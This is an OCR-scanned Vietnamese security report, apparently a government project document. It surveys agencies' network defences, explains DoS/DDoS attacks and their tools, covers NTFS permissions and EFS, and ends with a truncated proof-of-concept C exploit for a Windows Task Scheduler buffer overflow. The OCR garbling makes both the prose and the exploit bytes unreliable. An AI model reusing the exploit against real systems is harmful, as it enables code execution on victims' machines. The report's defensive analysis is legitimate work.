dung mang Workgroup (3%).

Mang internet: da s cac don vi st dung ADSL dé két ndi internet 24/24,
chiém 77%, mot s6 don vi sit dung Dial-up két noi internet khi c6 nhu ciu, chiém
20%.

2.5./ Hg thong quan tri mién va cdc dich vu mang

Hau hét cac don vi s dung Active Directory cia Windows 2000/ 2003
Server dé quan tri mién (chiém 97%), chi c6 01 don vi khong st dung hé théng quan
1y mién (do sir dung md hinh Workgroup.

Céc dich vu h¢ théng thuémg duge céc don vi sit dung 1a Web Server (c6 40
%), mdt sb it don vi st dung dich vu FTP Server (20%), Mail Server (7%), Telnet
Server (3%). Cac dich vu nay da sé sir dung cho cuc bd, mot sb it c6 pho bién ra
internet.

Dich vu Webserver, ¢6 23% don vi sir dung database, hau hét cac don vi
khong sir dung ho trg SSL (chi ¢6 1 don vi cai dat ho trg nay).

2.6./ Twémg lira (firewall), phin mém antivirus

C6 14 don vi sir dung firewall mém, chiém 47%, firewall ciing khong ¢6 don
vi nao sir dung.
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T4t don vi déu sir dung phin mém phong chéng virus Symantec Antivirus,
Norton Antivirus,.... dang client/ server (100%), mét so don vi cai dat thém BKAV
(c6 23%).

Hé théng phat hién va phong chéng xam nhdp ciing khéng co don vi nao
trang bi.

Theo khio sat, cac don vj da thuc hién cong tac cdp nhét chuong trinh phong
chéng virus mot cach thudmg xuyén.

2.7./ Phin mém vin phong
T4t ca cac don vi str dung ho Office ciia Microsoft, phién ban 2000/XP.
2.8./ Platform phin cimg

Sever: cac dong may PC Server cua cic hing IBM vid HP dugc st dung
nhiéu,- IBM ¢6 77%, HP Compact c¢6 10%, PC Server thiwong hiéu viét nam cé 7%,
mot sé don vi st dung PC Desktop Thuong hiéu Viét nam lam server (40%).

May tram: Da so cac don vi c6 may tram vai cAu hinh 1a PIV (97%) va PIII
(80%), mét it don vi van con st dung PC ¢6 cdu hinh thip (7%).

2.9./ Nhan sy
Sé don vi c6 nhdn sy trinh d0 dai hoc vé CNTT (27%)
S6 don vi ¢6 nhan sy trinh d§ cao ding vé CNTT (37%)
S6 don vi ¢6 nhén sir trinh d6 trung cdp vé CNTT (30%)
S don vi chira c6 nhan sy, chi c6 kiém nhiém vé CNTT (7%)

3./ Panh gid hién trang so véi cac gidi phap ky thuit thong dung theo ISO
17799

3.1./ Giai phip twing Iira va phong chéng virus

Theo khao sat c6 29/30 don vi sir dung internet, nhung chi c6 14/30 don vi sir
dung tudng lira mem céc cau hinh chinh sach ludng ra/vao chua chudn, diy Ia mot
thiéu s6t rat 1on cin khic phyc.

Ve giai phap phong chéng virus, 100% don vi déu c6 cai dit cac chucmg trinh
phong chong virus dang client/server, tuy nhién chua ¢6 mét don vi nio c6 mjt giai
phap téng thé cho viéc phong chong virus dang spyware va ad-aware; mdt s§ don vi
chura ¢6 lich cap nhat chuong trinh phong chong virus mét cach khoa hoc.

Khic phuc: can cai dat tuong hira cho tit ca cic don vi, hoach dinh lai céc
chinh sach ludng ra/vio horp ly va cai ¢it no. Can c6 mot giai phap tdng thé cho vige
phong chéng virus, ké ca giai phap cap nhét online cac chuong trinh phong chéng
virus va cai dit cac chuong trinh chéng spyware va adware.

2.3.2./ H¢ thong phit hién va phong chong xdm nhip

Chua co don vi nao trang bi hé thong phét hién va phong chong xdm nhép
nhu mdt san phm cita hang thir ba, mot s6 don vi sir dung chinh séch ghi nhét ky
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cia hé diéu hanh Windows, tuy nhién cic don vi vin chwa 6 tai lidu hoach dinh cho
¢ac chinh sich nay.

Khic phuc: Viéc cai dit hé théng phat hién va phong chéng xam nhdp tuy
thugc vao mirc 45 nhay cam cua HTTT, ddng thoi kinh phi dAu tr cho san phim cia
hang thir ba kha dit, khuyén nghi nhimg HTTT vira va nh6 nén str dung cong cu
nhdt ky cua hé théng Windows, can hoach dinh va cai dit cng cu nay mdt céch
khoa hoc.

3.3./ Cong cu db quét va danh gii diém yéu

Hiu nhu cic don vi chua trién khai viéc do quét va danh gia diém yéu ciia cac
thanh phém trén he th()ng Windows bing cang cu Mircosoft Base Security Analyzer.
Mbt sb hé théng vin con sir dung céc Service Pack cfl, chwa cdp nhat cac Service
Pack mdi cling nhu chua quan tim dén viéc update cic miéng va 13i (patch). Hé
quan tri co s& dir liéu sir dung da phan 1a Micrsoft SQL Server, dong thoi cling chua

quan tAm c4p nhit cic ban va I6i cho hé quan trj CSDL.
V& mat khéu (password) va cac tai khoan thong dquc(account), cac don vi
chua quan tdm dén viéc thiét 1ap cac chinh sach cho mét khau va v hiéu héa nhimg

tat khoan mdc nhién cta hé thong mot so ngudi ding vén khéng thay déi mat khdu
do quan tri cdp, diy la nguy co tiém 4n, rat nguy hiém

Khic phuc: cin tridn khai bd cong cy VULNERABILITIES
DETECTOR AND ANALYZER la san pham cua~de tai I}ham phat hién 16
hong, dinh gid cac diém yéu cia hé thong, thyc hién va 16i va khic phuc cic diem
yéu. Can trién khai gidi phap Software Update Services (SUS) dung cip nhit cac
ban v4 16i.

3.4./ Quan ly rai ro

T4t ca cdc don vi chua trién khai cac giai phdp quan Iy rui ro.

Khic phuc: cAn ¢6 m6t mé hinh chung cho tit ¢4 cac don vi.
3.5/ Giai phap xic thwe va co ché mat ma

T4t cac cdc don vj sit dung gidi phéap xac thuc cia hé thdng Windows, khong
c6 don vi nao sir dung san phdm ciia hing thir ba, da sé cac don vi chua chi y dén
viéc sir dung co ché ma héa trén ddng truyén cita Windows.

Khic phuc: cén cai dat, si dung cac co ché m3 hoéa do Windows cung cép.
2.3.6./ Giii phap loc ndi dung

Chua c6 don vi nio trién khai.

* Nhin xét danh gia: quaketquakhaosat,chungtaﬁlayvxecapdungcacglmphapantomva
baomatchocacheﬂiongﬂlongunuenrrmngwacaccoquanqumlyNhanuoc conrﬂnéuhan
che, haunhuchungtachxquantamdénsuvanhanhvatocdocuaheﬂlong, viéc dAu tu, hoach
dmhvacaldatcacglaxphapvachmhsachbaomatannmhmangmotcachbalbanchocac
HTTT chua duge cot trong, DaylamotnguycortlemankluchungtaMenkha:cacmgdung

dich vu cong hay vén phong dién t,.. trong béi canh cic hacker cang ngay cang nguy hiém
hon va diéu ndy ciing ddng nghia véi viée hethongbltchetquacactancongDoS cdc sdu
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(worms),...., t¢ hai hon 1 cac thong tin bi thay dbi, danh cip thong qua cic phin
mém gian diép nhu spyware, adware, trojans,...
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PHAN III ’
KHAO SAT, PHAN LOAI VA PHAN TiCH PHUONG PHAP
TAN CONG TRONG CAC MOI TRUONG KHAC NHAU, GIAI
PHAP PHONG CHONG (TREN MOI TRUONG WINDOWS).

CHUONG I
TONG QUAN CAC LOI BANG THONG MANG VA GIAI PHAP
PHONG CHONG.

L/ TONG QUAN VE TAN CONG TU CHOI DICH VU (DOS/DDOS)

Tén cong tir chdi dich vu (DoS/DDoS) la cac cudc tdn cong trén hé théng
mang nhim ngin can nhimg truy Xudt téi server cung cap dich vy. Tén cong DoS
pha hty dich vu mang bang cich lam tran ngdp sé luong két ndi, qua tai server hodc
chuong trinh chay trén server, tidu tn tai nguyén ciia server nhu dung hrong 4 cimg,
bd nh¢, CPU, bing théng... Lucmg tai nguyén nady thy thugc vao kha ning huy
déng tan cong cia mdi ké tin cong. Khi do server s& nhanh chéng bi ngimng ‘hoat
déng, treo hoidc khoi dong lai va do d6 s& khong thé dap (g dirge nhimg yéu cu tir
nhimg client ctia nhirng ngudi sir dung hop 1€.

11/ CAC HINH THUC TAN CONG TU CHOI DICH VU
1./ T4n céng SYN flood

o Loi dung cach thirc hoat dong ciia TCP (Transmission Control Protocol), 1a
mdt giao thirc dinh huéng két néi. Trirde khi trao dbi dir liéu cho nhau, mét
phién 1am viéc phai dugc thiét lap gilta may tinh nguén va may tinh dich.
Viéc thiét 1ap chi diroc xem 13 hoan tht khi da trai qua “nghi thirc bit tay 3
budc™:

- Buoc 1: Client gui mét TCP SYN packet dén Server. Trong packet c6
chira thong tin dé x4c dinh Client nao da giri di.

- Budc 2 : Server s€ phan hdi lai-Client bing 1 SYN/ACK Packet (chita
thong tin dé xdc dinh server) va Server chd nhian mét 1 ACK packet tir
Client.

- Buéc 3: Client phan hdi lai Server bang mdt ACK Packet va viéc két nbi
hoan tt.

- Sau d6 Client va Server da c6 thé trao d6i dir liéu cho nhau.
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Co ché bit tay 3 budc
e Hacker loi dung co ché niy dé phat ddng mot cude tin cong DoS nhu sau;

- Hacker bat ddu qua trinh thiét 1ap mot két ndi TCP/IP téi muc tiéu mudn
tAn céng ma khong giri tra géi tin ACK, khién cho muc tiéu luén roi vio
trang thai chdy (doi gdi tin ACK tir phia yéu cu thiét 1ap két ni) va lién
tuc giri g6i tin SYN ACK ¢ thiét 1ap két ndi dan dén tinh trang muc tiéu
bi qud tai va sup d.

- M@t cach khéc 1a gia mao dia chi IP ngudn cia géi tin yéu cu thiét lip
két ndi SYN va cling nhir trwdmg hop trén, mdy tinh dich ciing roi vao
trang thii chd vi cac géi tin SYN ACK khong thé di dén dich do dia chi
IP ngudn 1a khéng cé that.

- Kiéu tin cong SYN flood dugc cic hac}(er ap dung dé thn cong mot hé
thong mang c6 bang thong 16n hon hé thong cia hacker.

2./ Tin cong Amplification

Tén cong amplification 1a mét hinh thire tan cdng dua vao sy trg g:up clia cac
mang khac. Diéu nay cho phép Hacker lién két nhidu mang ¢ dudng truyén yéu dé
tAn céng mét mang manh hon. Hacker s& giri mt yéu cau gia mao mang tén cia
mang ma hacker mudn tdn c6ng dén nhiéu mang khac (céc mang ndy dugc goi la
cac mang khuyéch dai). Khi cic mang khuyech dai dap tra yéu cau d6 cung mét lic
thi s& lam ngdp mang ma Hacker muén tin cong.

Khi tin cong nay dugc thyc hién thanh cdng, ngoai may ma hacker mudn tin
cong s& bi té liét, cac may thubc mang khuyéch dai ciing c6 thé c6 cing két qua nhu
may bi tin cong.

Hai loai tiéu biéu cho kiéu tdn cong nay 1a: Smurf and Fraggle.

e Tin «cong Smurf: trong tin cong Smurf, cin c6 ba thanh phén: hacker, mang
khuéch dai va hé thong ciia nan nhan. Hacker s& goi cac goi tin ICMP
(Internet Control Message Protocol) dén dia chi broadcast cia mang khuéch
dai. Piéu dac biét la cac goi tin ICMP nay c6 dia chi IP ngudn chinh la dia
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chi IP cva nan nhan . Khi céc géi tin 46 dén dugc dia chi broadcast cua
mang khuéch dai, cic méy tinh trong mang khuéch dai s& tuémg ring may
tinh nan nhan da g gm tin ICMP dén va chiing s& dong loat gai tra fai hé
théng nan nhan cac goi tin phan héi ICMP. Hé thdng may nan nhin s&
khong chiu ndi mot khéi luong khong 16 cac géi tin nay va nhanh chéng bi
ngirng hoat dong, treo hodc khoi dong lai. Nhu vy, chi can got mot luong
nhé cac goi tin ICMP di thi hé thong mang khuéch dai s& khuéch dai lwong
goi tin [CMP packets nay 1én gip boi. Ti 1€ khuéch dai phu thudc vao sb
may tinh c6 trong mang khuéch dai.

“Toussy
Configurad
Hutwoek Acting 0
Amplifiee

Co ché tin cong Smurf

« Tan cong Fraggle: 12 mt bién thé cia Smurf. Thay vi ding ICMP packets,
Fraggle dung UDP packets va nhdm vao cac hé thong ho try cac dich vu
UDP echo.

3./ T4n céng Malformed Packet

Cac hé diéu hanh hién nay di dwoc thiét ké va 1ap trinh k§ dén dau cung van
c6 thé gip phai nhirng trudng hop ma trong xir Iy chua ludng trurde dirge va hau hét
nhirng trudng hop nay lai 1a nhimg diém cho phép khai thac hé théng trai phép.

Tén cong Malformed Packet thurdng chi dung mdt s6 lugng nho cac _g01 tin dé
giri dén may bj thn cong, nhng céc got tin d6 déu co cdu tric khong chudn dé khai
thac vao cac truong hop ma dich vu trén may bi tin cong chua lhrong trude dugc
trong xir Iy, tir d6 dwa dén xir Iy sai léch va giy ra 151

MOt s6 dang cua tan cong Malformed Packet:

« Ping of Death: hacker giri mgt lénh ping ¢6 kich thuéc khong binh thudng
(trén 65535 bytes hodc 65507 bytes) dén may bi tAn cong. Néu hé didu hanh
cula may bi tan cong chua luong trude viée xir ly cdc ping packets ¢6 kich
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thuée nhu trén thi s& sinh ra 16i khi nhdn va xit Iy 1énh ping d6 va lam treo
may.

e Teardrop: hacker khai thic diém yéu cia hé théng trong viéc rap céc géi tin
IP nho nhin duoc lai thanh géi tin hoan chinh. MGt géi tin 16n s& dugc chia
ra lam nhiéu g6i tin nho hon dé giri di trén mang, trong mdi géi tin nhd s&
hru thdng tin cho biét thir tw cia né khi rép lai dé may nhén c6 thé rap céc
g6i tin nho lai theo mt thir tr dang, tao thanh goi tin hoan chinh. Trong tin
cong TeardrOp, thong tin vé thir ty trong cdc g6i tin nho s& b cb tinh 1am sai,
lam cho may nhén ¢6 thé bi vat kiét xir Iy khi cb rap cac goi nho nay lai.

« Bonk/Boink: turong ty nhu Teardrop, nhung khai thic trén cac UDP packets.

e Land: tin cong trong qua trinh bét tay 3 budc clia giao thirc TCP, goi SYN

~ dhu tién duoc giri dén may bi tin cong, nhung thong tin vé dia chi nguén cla

. g6i tin ciing chinh la may dich (may bi tin cdng), lam cho may bi tin cong
lién tuc glri cac géi SYN/ACK dén chinh minh.

» Malformed RPC: tn cong vao cac dich vu RPC bang cach giri cac géi tin ¢
dir li¢u khdng nam trong cac tinh huéng cd thé xir ly cua dich vu RPC,

4./ Tan cdng tir chdi dich vu phin tan (DDoS)

Ta da tim hiéu mot sé dang tin cong tir chdi dich vu & trén, tuy nhién td chirc
clia nhimng kiéu tén cong d6 thuong & mirc don gian: ké tin cong tryc tiép tan
cdng vao may nan nhan (tin cong SYN flood), hogc phat dong tin cong tryuc
ti€p thong qua 1 16p trung gian (tan cong Smurf). D6i véi tan cong tir chm dich
vy phan tan thi to chirc ciia cugc tin cong phirc tap va quy md hon, ké tin cong
s€ phat dong tin céng théng qua cac chuong trinh chuyén dung va cac may
tham gia tn cong c6 thé duge td chirc thanh nhiéu 16p.

M&t cudc tin cong DdoS ludn gom 2 giai doan:

o Giai doan 1: ké tin céng tim cach thim nhap vao cic may cé d0 bao madt
kém trén mang dé cai dat cac phén ctia chuong trinh chuyén dung cho viée
tn cong vao may nan nhan. Céc chuomg trinh chuyén dung cho viéc tin
cong trong DDoS théng thuong gom 2 phan (2 chuong trinh con): phén
client dung dé phat lénh tin céng va phan daemon dung dé ling nghe cac
1énh tan cong tir phan client va thyc hién tan cong Ké tan cdng s& chon mgt
s6 may dé cai phan client va mot s6 may dé cai phin daemon. Céc may dugc

chon dé cai phin client goi 13 master, cic mdy dugc chon dé cii phén
daemon goi la zombie.

¢ Giai doan 2: cac masters s& phat Iénh tan cong cho ciac zombies thong qua
chuong trinh di dugc cai dat. Cac zombies nhédn lénh va thyc hién tin cong
vao nan nhan.
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Co ché tan ¢cong DDoS

I1I./ CAC CHUONG TRINH PHO BIEN HIEN NAY THUONG DUNG BE
THUC HIEN TAN CONG

¢ Trinoo: la mot trong cac cong cu DDoS du tién dugc phat tan rong rai, tn
¢bng lam can kiét bing thong, sir dung k¥ thudt UDP flood.

e TFN2K: sau khi duwoc bién dich s& thanh 2 file 1a th va td. Bing cach sir
dung cti phap duge dinh nghia séin, chuong trinh phia client (tfn) giri cdc cdu
1énh dén TFN2K daemon, cdc daemon ndy da dwoc cai dat trén cac host ¢6
d bao mét kém. Daemon (td) nhan chi thi truc tiép tir client d& phét dong
hodc chdm dirt céc cude tin cong. TFN2K rét linh hoat, nd cé thé hoat dong
trén nhiéu Platform khac nhau — ngay c4 trén nén Windows cé cai may ao
Unix.

e Stacheldraht: la bién thé caa TFN cé thém kha nang ty dong cdp nhét thém
cac zombies nhdm phuc vu cho muyc dich tan cong.

IV CAC GIAI PHAP PHONG THU

e Khoa cic giao tiép vai port 139 (NetBIOS session service) tir Internet.
Khéng ¢6 Iy do gi dé mé port nay cho cic may tir Internet truy cép vi di ¢6
DNS.

e Théng thudng cac Cisco routers déu cho phép céu hinh dé ngan chan tén
cong SYN flood. Cac routers nay sé ding tr cach ciia server bén trong dé
thure hién thu tuc bat tay 3 budéc véi client va chi khi thi tuc duge thuc hién
thanh cong thi méi tao két ndi véi server bén trong.
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o Thiét 18p tai cac router ché d5 tir chdi cdc g6i IP broadcasts va cdu hinh cho
hé diéu hanh may chi khong dap tra lai cac g6i ICMP dugc g dén cic dia
chi broadcast. Lam nhu vy dé tranh tr& thanh nan nhéan cua tan cong Smurf.

o Khoa céc giao tiép tir Internet v6i cac port cia cic chuong trinh tan DDoS
dd dugc cong bod: 27655/TCP, 27444/UDP va 31355/UDP cia Trinoo;
1660/TCP, 65000/TCP ctia Stacheldraht. Luén cdp nhat danh sach cac port

loai nay.

e S dung céc cong cu dé scan va phat hién cac chuong trinh client/daemon
clia cac cudc tin cdng DDoS duoc cai vao may. Vi dy: Nessus, Remote
Intrusion Detector (RID). Néu phat hién duogc cac client/daemon dang chay
trén hé théng, c6 thé ding Zombie Zapper dé ding ching lai r6i sau d6 xir
ly ching.

o MOt vai céch c6 thé 1am giam thiéu DDoS bao gom: Thudng xuyén cp nhat
thong tin vé Security, ci dit cac hé théng phan chia DNS, bao mat cAc thiét
bi trong pham vi bao mat va sir dung cac chuong trinh dinh hudng luu théng
mang va cai dit céc hé théng IDS (Instrution Detection System), cac chuong
trinh quét va phan tich cac 16 hdng bao mat, hodc/va cic Proxy Server, dé
nhan biét cac 131 tiém tang cé thé tdn cong va thiét lap sy kiém tra tinh toan
ven ciia cac théng s6 cdu hinh trong hé thong hién tai; cAu hinh cdc théng tin
gia vé hé thong, gia tang su quan li mang va host; duy tri mét phuong thire
phan héi tir hé thong v trién khai nhidu cong nghé bao mat khac nhau.

e Dung firewall dé loc cac packets vao/ra mang dya trén céc thdng tin vé IP
cia packet. Vi du: khong nhén cac packets dén tir mt mang khong rd rang
hodc khong cho céc packet tir trong mang di té1 nhitng mang khong ro rang.

. Thlet 1ap céc strong password cho cdc ngudi dung trén hé didu hanh, va tit
tAt ca cac service khong cén thiét.

C6 nhitng loai tin cong ma ta khong thé chéng tra biang cach khic phuc tai chinh hé
thdng clia ta (nhimg tén cong roi vao truong hop nay thong thuong la tan cng tran
béng thong), trong trueong hgp do can phai lién hé voi nha cung cap dich vu cép trén
dé ho thuc hién chéng trd va ngin chin & cip cia ho.
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CHUONG II o ) . _ o .
TONG QUAN VE CAC HE THONG TAP TIN VA CAC GIAI

PHAP THIET LAP PHAN QUYEN VA BAO MAT DU LIEU.

Cac hé thdng tap tin giir vai trd cwe ky quan trong trong cic hé diéu hanh.
Ching chiu trach nhiém cho vigc t6 chirc, fuu tri¥, bao mat dir liéu & dang tap tin.
Viéc hiéu vé cic hé théng tap tin dugc hd trg trén hé diéu hanh minh dang sir dung
s€ giup st dung hi¢u qua h¢ thong tdp tin va do d6 ciing gop phdn vao viée cung ¢
co ché bao mat cia hé thong Phan ndy trinh bay v€ mét s6 hé théng tap tin dang
dirgc h tro boi cac hé diéu hanh Windows nén NT.

LI/ FAT32 VA NTFS

NTFS 1a h¢ théng file dugc dé nghi nén sir dung cho hé diéu hanh Windows
XP va co6 mdt s6 i ’{ch vé bao madt, su_‘én dinh, tin cdy, va hiéu suit hoat dong.
Nhung ciing c6 mét s6 ly do ma FAT32 van con dugce sir dung.

Sau _déy [2 m6t s6 nhan td quyét dinh cho viéc lua chon loai hé théng file nao
cho h¢ théng.

1./ Bio mit
» FAT32 ¢6 kha ndng bao mat rit kém. Mot nguoi dung c6 kha ning truy cap

vao 1 & dia thi ciing c6 kha nang truy cip vao tit cd céc tip tin trong & dia
do.

e NTFS c6 sir phan quyén, trién khai thyc hién phén quyén phirc tap hon, viéc
truy cdp vao tumg thir myc va tp tin deu duoc thiét 1ap riéng biét va co thé
thiét 14p vao sau cho cic cip con néu cén thiét.

e NTFS con ho tro hé thong tép tin dugc ma hoa (EFS). Chi ¢6 nhiing ngudi
dung dugc cap phép méi c6 quyén truy cap vao.

2./ Kha ndng twong thich

e Phin vung NTFS khong nhén dang dugc trong Windows 95/98/Me. Day
chinh la m6i quan tdm can thlet khi mudn cai dit nhidu hé diéu hanh. FAT32
dwoc ding cho nhitng & dia can dugc truy cép khi h§ thdng dang khoi déng
Windows 95/98/Me. Va ngudi dung c6 thé truy cdp vao thu myc share ma
khong can biét dinh dang cua dia va phién ban hé diéu hanh.

e Mot phén vung FAT hay FAT32 c6 thé dugc chuyén dbi thanh NTFS ma
khéng cén phai dinh dang lai. Con NTFS thi khong thé chuyén ddi thanh
FAT va FAT32 ma khéng cAn dinh dang lai phin ving.

3./ Sir dung viing trong hiéu qua

e NTFS hé trg chirc ning Disk Quotas, cho phép thiét 1dp mét khoang dung
lugng nao do cho tirng nguoi dung.

e NTFS c6 hd trg nén tép tin. FAT32 thi khong.
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e Déi véi phin ving trén 8GB, NTFS quan ly khong gian dia tét hon nhiéu so
v&i FAT32. Kich thudc cluster ciing 13 mét phin quan trong quyét dinh dung
lugng bi hoang phi. NTFS cho phép kich thudce cluster nhé hon FAT32, va

giam thiéu dung lugng dia bi hoang phi.

¢ V¢i Windows XP, dung lugng t51 da cho mét phan ving FAT32 1a 32GB.
Nhung cé thé 1én dén 16TB néu ding NTFS.

4./ D tin cdy
e Haé théng tap tin FAT32 rét dé b 16i.

e Hé théng tip tin NTFS c6 kha nang phuc hdi 18i dé dang hon hé théng tap
tin FAT32.

e File nhat ky duoc NTFS tao ra dé co thé dung cho viée tr dong sita chira.

¢ NTFS ¢6 kha ndng anh xa lai cluster ¢6 sector 13i va danh diu nhimg viing
bi 16i nay dé tranh sir dung lai.

11/ BAO MAT TREN HE THONG TAP TIN

Ky thuit chinh dé bao vé dir liéu trong 6 dfa 12 sir dung phan quyén tap tin c6
sin ciia hé thong tap tin NTFS d& cho phép hodc khéng cho phép nhimg ngudi ding
hodc nhitg nhém nio d6. Vi dy, mét ngudi ding cé thé thiét 1ap cho phép tit ca
ngudi ¢é thé doc tai lidu ctia minh, nhung chi cho phép ddng nghiép va ngudi quan
1y ctia minh chinh stra tai liéu nay.

Véi hé théng mang trong mot cong ty c6 nhiéu ngudi dimg, viée phan quyén
cho hé théng file linh déng, chinh xac, dung ngudi ding viée 14 hoan toan cin thiét
va that sy quan trong.

1./ Bao mat voi NTFS

e Ngoai NTFS, Windows XP, 2003 con hé trg nhitng phan ving kiéu cii nhu
FAT12, FATI16, FAT32. Tuy nhién nhimg phén vung kiéu cii nay khong
phai 1a su lwa chon dé ket hop quyén truy cép va co cdu bao mit vao chung
v§i dir liéu. Nhimg hé thng nay khong cung cdp bit cir mét tinh ning bao
mit dit liéu nao. Cho nén NTFS 1a su lwa chon cén thiét trir nhimg tinh
hudng that sy cAn dén nhimg hé théng tap tin cfi, vi du nhu cai nhidu hé diéu
hanh trén cung mot may.

e St dung NTFS con ¢ thé tranh duoc nhimg tinh huong khéng an toan - nhu
dung nhzeu hé diéu hanh trén cling mét may tinh, c6 thé tao thém didu kién
cho ké tin cong khai thac.

2./ Thiét lip phin quyén tip tin cho Windows XP, 2003
2.1./ Mt s6 heu y trwde khi thiét lip phéin quyén

o Phin quyen hop ly, cin chu y véi nhitng phén quyen “Deny”. No dugc uu
tién cao nhét, do d6 quyén “deny* nim trén céc quyén khac va s& rit khé bb
sung d6i véi nhimg tip tin ¢6 qua nhleu phan quyén.
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e Sir dung quyen “Deny Full Control”, hay “Deny Everyone”, n6 s& tir chéi
tit ca, ngoai trir ngudi quén tri. Chinh ngudi dung thlet 1ap quyén “Deny to
EveryOne” cung khong thé thyc hién chinh sira lai quyén nay. Chi c6 ngu&n
quan tri mdi co thé trd lai quyén s& hira va thiét 14p lai quyén chinh x4c cho

tip tin nay.

e Nén gin quyén cho mdt nhém ngudi ding thay vi gan cho tirng ngub’i dung.
Chung ta cho thém nou'm dung truy cdp vao bang cach thém ngum dung nay
vao nhom da dwgce cdp quyén tét hon 13 phai thiét 14p lai quyén cho nhimg
tap tin hay thu muc do.

e Thiét 14p phan quyén cho ca thu muc thay vi ting tép tin.

2.2./ Thiét 1ip biao mit cho tap tin chia sé

. Thiét 1ap bao mét v6i nhimg ngudi ding duge phép, ngudi ding khong dugc
phép...

e C6 thé thiét lap timg quyén mét nhu [a : Write Data, Read & Execute,
Create Files...

e Chi nén thira ké quyén tir thu myc cha néu thét su cin thiét.

2.3./ Thiét 13p bao méit cho tip tin trén mdy tinh ding chung

o Ngudi ding cén tao thu muc ridng d& luu trit dir liéu riéng cia timg ngudi.

e Thiét 14p cac quyén thich hop, twong tu nhu trén.

e Lua chon cho cac thiét 1ap ndy ciing dugc ap dung cho cac thu muyc con va
tap tin trong do.

3./ Bao vé dir liéu véi tinh ning EFS
3.1/ Sir cin thiét ciia EFS

e Mic di cic phan quyén da dugc thiét lép. Tuy nhién chu tric ndy van c6 thé
bi pha v&, la do cac thong tin phan quyén chi c6 tac dung doi v6i hé dieu
hanh d3 thiét 1ap. Do dd, khi mét may khac hay mét hé diéu hanh khac doc

dif lidu truc tiép tr 6 clng nay thi ciing nhu moi dit liéu binh thudng khéc.
Chinh vi viy moi thiét 1ap phan quyén ndy vén c6 thé bj pha v&.

e Céich duy nhét d& chic chin dir liéu trong & cimg khong bi tAn cong theo
cach trén 1a md héa dit 1iéu. Luu trr di¥ liéu trong 6 cing dudi dang da duoc
ma hoda, nghia 1a khi ngudi truy cép vao pha1 cung cap khda giai ma dé sir
dung duge dit liéu d6. Khéng c6 khéa, ngudi ding sé khong thé ding duge
dir ligu nay.

e Windows XP, 2003 cho phép dir liéu trong dia dugc ma hoa bang EFS
(Encrypting File System).
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3.2./ Lgi ich va han ché ciia EFS

Lgi ich thit sy cia EFS 1a tdp tin duge luu trit & dang ma hda mdt céch an

toan.
Tuy nhién, EFS ciing c6 mét sé han ché:

- Dé nén mét lugng lon dif liéu v6i mot khéa manh cén phai mit mét thoi

gian dang ke Nhung v&i kha ning cia mdy tinh hién nay thi ddy khong
thit sy 14 van dé 16n.

- Néu sir dung khdng thich hop, EFS s& lam giam hiéu suit cia hé théng.

- Vai EFS, dé doc duge dit licu can phai c6 khéa bi mat dugce cép cho timg
ngudi ding. Khoéa nay that sy rit quan trong, mét khoa nay ciing ddng
nghia véi viée dir liéu bi mét. Nhung hu nhr nguéi ding ciing nhu ngudi

"quan trj chua thét sy quan tdm dén nd, nén khi dinh dang lai hodc cai dat
lai hé diéu hanh ho thudng quén khéng sao lwu nhimg khoa bi mét nay lai.

Diéu d6 chinh 1a nguyén nhan din dén viéc mic du dir lidu van con d6
nhung ciing nhur d3 mét.

59



e Tém lai, EFS that sy an toan va bdo m4t tét. Va vic sit dung EFS mét céch
dung dén EFS la thit su quan trong.
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¢ Tom lai, EFS that sy an toan va bao mat tét. Va vidc sir dung EFS m{t cach
dung dan EFS la thét sy quan trong.
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CHUONGIII S
TONG QUAN VE LOI HIEN NAY CUA CAC HE BIEU HANH
WINDOWS NEN NT VA CAC UNG DUNG MICROSOFT.

1./ Ldi buffer overflow trong Task Schedule
1.1./ Mire 43 tic ddng cia 16i .

L3i nay cho phép ngudi tAn cong c6 quyén thyc thi dwoc nhimg ma ¥nh cua
minh.

1.2./ Céc hé théng anh hwéng

* Microsoft Windows 2000 Service Pack 2, Microsoft Windows 2000 Service
" Pack 3, Microsoft Windows 2000 Service Pack 4.

¢ Microsoft Windows XP and Microsoft Windows XP Service Pack 1.
e Microsoft Windows XP 64-Bit Edition Service Pack 1.
1.3./ Nguyén nhian

e L3i nay do ngudi xayv dung hé thong khong kiém tra kich thirc ludng nhép
cua buffer trong thu vién mstask.dll. Cho nén khi mdt ngudi dung may tinh
dang nhdp vao trong hé thng vi mot quyén xac dinh thi ngudi tin cong
khai thac 18i nay c6 thd hoan toan dat duge quyén tuvong duong. Tuy nhién
mdt kho khan cho ngudi tin cong 1a dé khai thac 15i nay thi cn phai c6 mét
quyén clia ngudi diing trong téc trong hé thong dé.

e L3i nay dugc tim thdy trong hai thanh phin Explorer.exe va IEExplorer exe,
ca hai thanh phin nay diéu phén tich file job khi liét ké danh sich cic thu
muc. Khi thue hién viée phan tich file .job trong d6 c6 mét ludng nhép dugc
nap vao buffer qua ham wescpy ma khéng c¢6 mdt sw kiém tra kich thudc
tudng nhap d6. Do do ching ta thiy rang khi ding Explorer d& xem cac thu
muc thi c6 thé gdy ra mét 16i nghiém trong. File nay ¢6 thé duge dat & cyc
bd hoac trén mét thu myc chia s& mang va dé khai thac thi cin yéu ciu mot
ngudi dang truy cip thu muyc chira file .job nay.

 Tuy nhién vi¢c ding Internet Explorer dung dbi tuong iframe dé xem thu
muc chia file job ciing gay ra 16i., dleu nay lam mé rdng nguy co 16i boi vi
khi ngudi dung xem mét HTML mail vé nguyén tic 1a mot trong nhimg viéc
thue hién tin cong dua trén iframe, ma diéu nay khong yéu cau mét ngudi
dung tuong tic ma chi cin mét ngudi ding c6 thé xem email cia ho.

1.4./ Mi Chirng Minh
Mi chimg minh ndy danh cho Windows XP SP1 phién bén tiéng anh. Khi chay
doan code nay s& tao ra mét file j.job. Khi explorer.exe hodc bat ky mdt hdp

thoai nao truy cdp thu muc chia file nay sé& lam cho chuong trinh nodepad.exe
chay.
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#include <stdio.h>
#include <windows.h>
unsigned char jobfilel] =

"\ x01\x05\x01\x00\xD9\xFF\xFF\XFF\XFF\xFF\XFF\XFF\x
FF\XFF\XFF\XFF"

v\ xFF\XFF\XFF\XFF\x46\x00\x92\x00\x00\x00\x00\x00\x
IC\x00\x0A\x00"

mM\x20\x00\x00\x00\x00\x14\x73\x0F\x00\x00\x00\x00\x
03\x13\x04\x00"

"\ xCO\x00\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00"

"\ x00\x00\x00\x00\x00\x00\x80\x01\x44\x00\x3A\x00\x
S5C\x00\x61\x00™"

M\ x2E\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x
61\xX00\x61\x00"

